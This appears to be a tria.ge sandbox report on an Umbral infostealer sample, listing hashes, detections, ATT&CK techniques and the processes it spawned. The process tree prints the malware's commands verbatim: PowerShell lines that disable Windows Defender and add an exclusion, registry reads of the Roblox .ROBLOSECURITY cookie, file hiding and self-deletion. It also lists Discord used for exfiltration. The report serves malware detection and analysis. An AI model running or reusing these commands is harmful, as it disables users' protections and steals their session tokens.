Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
118s -
max time network
119s -
platform
windows7_x64 -
resource
win7-20240729-en -
resource tags
arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system -
submitted
07/01/2025, 08:41
Behavioral task
behavioral1
Sample
c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe
Resource
win7-20240729-en
General
-
Target
c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe
-
Size
229KB
-
MD5
528f26b2d46cd04b6fcb6fafcb3abf40
-
SHA1
857455c1dcdcd7bceabfff1f532ee3714e743245
-
SHA256
c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37d
-
SHA512
20c0c8b69d8fb6045ac3f2e83fca527ac99a68375e62b4b3d8d66daa402ddfad1640f63721871aa2254bf71bb58beae2ef30a50154ef9dc6fa6c4a35999d8c5a
-
SSDEEP
6144:FloZM+rIkd8g+EtXHkv/iD4AFyuMS1NmYzus9x4uab8e1mti:HoZtL+EP8AFyuMS1NmYzus9x45j
Malware Config
Signatures
-
Detect Umbral payload 1 IoCs
resource yara_rule behavioral1/memory/2336-1-0x0000000001100000-0x0000000001140000-memory.dmp family_umbral -
Umbral family
-
pid Process 2716 powershell.exe 2612 powershell.exe 1076 powershell.exe 3028 powershell.exe -
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe -
Deletes itself 1 IoCs
pid Process 2132 cmd.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 9 discord.com 10 discord.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 6 ip-api.com -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 2132 cmd.exe 2144 PING.EXE -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 2940 wmic.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 2144 PING.EXE -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 2336 c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe 3028 powershell.exe 2716 powershell.exe 2612 powershell.exe 1452 powershell.exe 1076 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2336 c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe Token: SeIncreaseQuotaPrivilege 2488 wmic.exe Token: SeSecurityPrivilege 2488 wmic.exe Token: SeTakeOwnershipPrivilege 2488 wmic.exe Token: SeLoadDriverPrivilege 2488 wmic.exe Token: SeSystemProfilePrivilege 2488 wmic.exe Token: SeSystemtimePrivilege 2488 wmic.exe Token: SeProfSingleProcessPrivilege 2488 wmic.exe Token: SeIncBasePriorityPrivilege 2488 wmic.exe Token: SeCreatePagefilePrivilege 2488 wmic.exe Token: SeBackupPrivilege 2488 wmic.exe Token: SeRestorePrivilege 2488 wmic.exe Token: SeShutdownPrivilege 2488 wmic.exe Token: SeDebugPrivilege 2488 wmic.exe Token: SeSystemEnvironmentPrivilege 2488 wmic.exe Token: SeRemoteShutdownPrivilege 2488 wmic.exe Token: SeUndockPrivilege 2488 wmic.exe Token: SeManageVolumePrivilege 2488 wmic.exe Token: 33 2488 wmic.exe Token: 34 2488 wmic.exe Token: 35 2488 wmic.exe Token: SeIncreaseQuotaPrivilege 2488 wmic.exe Token: SeSecurityPrivilege 2488 wmic.exe Token: SeTakeOwnershipPrivilege 2488 wmic.exe Token: SeLoadDriverPrivilege 2488 wmic.exe Token: SeSystemProfilePrivilege 2488 wmic.exe Token: SeSystemtimePrivilege 2488 wmic.exe Token: SeProfSingleProcessPrivilege 2488 wmic.exe Token: SeIncBasePriorityPrivilege 2488 wmic.exe Token: SeCreatePagefilePrivilege 2488 wmic.exe Token: SeBackupPrivilege 2488 wmic.exe Token: SeRestorePrivilege 2488 wmic.exe Token: SeShutdownPrivilege 2488 wmic.exe Token: SeDebugPrivilege 2488 wmic.exe Token: SeSystemEnvironmentPrivilege 2488 wmic.exe Token: SeRemoteShutdownPrivilege 2488 wmic.exe Token: SeUndockPrivilege 2488 wmic.exe Token: SeManageVolumePrivilege 2488 wmic.exe Token: 33 2488 wmic.exe Token: 34 2488 wmic.exe Token: 35 2488 wmic.exe Token: SeDebugPrivilege 3028 powershell.exe Token: SeDebugPrivilege 2716 powershell.exe Token: SeDebugPrivilege 2612 powershell.exe Token: SeDebugPrivilege 1452 powershell.exe Token: SeIncreaseQuotaPrivilege 2828 wmic.exe Token: SeSecurityPrivilege 2828 wmic.exe Token: SeTakeOwnershipPrivilege 2828 wmic.exe Token: SeLoadDriverPrivilege 2828 wmic.exe Token: SeSystemProfilePrivilege 2828 wmic.exe Token: SeSystemtimePrivilege 2828 wmic.exe Token: SeProfSingleProcessPrivilege 2828 wmic.exe Token: SeIncBasePriorityPrivilege 2828 wmic.exe Token: SeCreatePagefilePrivilege 2828 wmic.exe Token: SeBackupPrivilege 2828 wmic.exe Token: SeRestorePrivilege 2828 wmic.exe Token: SeShutdownPrivilege 2828 wmic.exe Token: SeDebugPrivilege 2828 wmic.exe Token: SeSystemEnvironmentPrivilege 2828 wmic.exe Token: SeRemoteShutdownPrivilege 2828 wmic.exe Token: SeUndockPrivilege 2828 wmic.exe Token: SeManageVolumePrivilege 2828 wmic.exe Token: 33 2828 wmic.exe Token: 34 2828 wmic.exe -
Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 2336 wrote to memory of 2488 2336 c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe 30 PID 2336 wrote to memory of 2488 2336 c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe 30 PID 2336 wrote to memory of 2488 2336 c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe 30 PID 2336 wrote to memory of 2868 2336 c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe 33 PID 2336 wrote to memory of 2868 2336 c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe 33 PID 2336 wrote to memory of 2868 2336 c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe 33 PID 2336 wrote to memory of 3028 2336 c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe 35 PID 2336 wrote to memory of 3028 2336 c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe 35 PID 2336 wrote to memory of 3028 2336 c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe 35 PID 2336 wrote to memory of 2716 2336 c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe 37 PID 2336 wrote to memory of 2716 2336 c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe 37 PID 2336 wrote to memory of 2716 2336 c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe 37 PID 2336 wrote to memory of 2612 2336 c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe 39 PID 2336 wrote to memory of 2612 2336 c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe 39 PID 2336 wrote to memory of 2612 2336 c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe 39 PID 2336 wrote to memory of 1452 2336 c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe 41 PID 2336 wrote to memory of 1452 2336 c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe 41 PID 2336 wrote to memory of 1452 2336 c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe 41 PID 2336 wrote to memory of 2828 2336 c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe 43 PID 2336 wrote to memory of 2828 2336 c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe 43 PID 2336 wrote to memory of 2828 2336 c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe 43 PID 2336 wrote to memory of 1112 2336 c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe 45 PID 2336 wrote to memory of 1112 2336 c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe 45 PID 2336 wrote to memory of 1112 2336 c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe 45 PID 2336 wrote to memory of 1192 2336 c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe 47 PID 2336 wrote to memory of 1192 2336 c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe 47 PID 2336 wrote to memory of 1192 2336 c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe 47 PID 2336 wrote to memory of 1076 2336 c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe 49 PID 2336 wrote to memory of 1076 2336 c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe 49 PID 2336 wrote to memory of 1076 2336 c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe 49 PID 2336 wrote to memory of 2940 2336 c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe 51 PID 2336 wrote to memory of 2940 2336 c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe 51 PID 2336 wrote to memory of 2940 2336 c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe 51 PID 2336 wrote to memory of 2132 2336 c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe 53 PID 2336 wrote to memory of 2132 2336 c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe 53 PID 2336 wrote to memory of 2132 2336 c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe 53 PID 2132 wrote to memory of 2144 2132 cmd.exe 55 PID 2132 wrote to memory of 2144 2132 cmd.exe 55 PID 2132 wrote to memory of 2144 2132 cmd.exe 55 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 2868 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe"C:\Users\Admin\AppData\Local\Temp\c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe"1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2336 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2488
-
-
C:\Windows\system32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe"2⤵
- Views/modifies file attributes
PID:2868
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3028
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 22⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2716
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2612
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1452
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2828
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory2⤵PID:1112
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵PID:1192
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1076
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name2⤵
- Detects videocard installed
PID:2940
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\c4d045d0748ee08c602a1fc3a46b1498ce7297c18f12f9db44ea2b2dbfb4e37dN.exe" && pause2⤵
- Deletes itself
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:2132 -
C:\Windows\system32\PING.EXEping localhost3⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:2144
-
-
Network
MITRE ATT&CK Enterprise v15
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\EDQVR23JQ19DZWGAQM9I.temp
Filesize7KB
MD58e1553bde7fa004bed84b326ad4db13d
SHA1e8a214596860078bc5c5e24f757f4dfe7e0bc6da
SHA256fd754b2672ccc5ac669605b69345fa3d5f1f02a99ff70ebca9bbfccc6bf023e6
SHA5126e973424dc4e1984f2a74cb06bdb2023c2d18627017174d3b2a8d5012edaf5849a06cbda42e3d089881edb1baf0d592b3837d7a69e4f4d1a4dae682fa66f4efc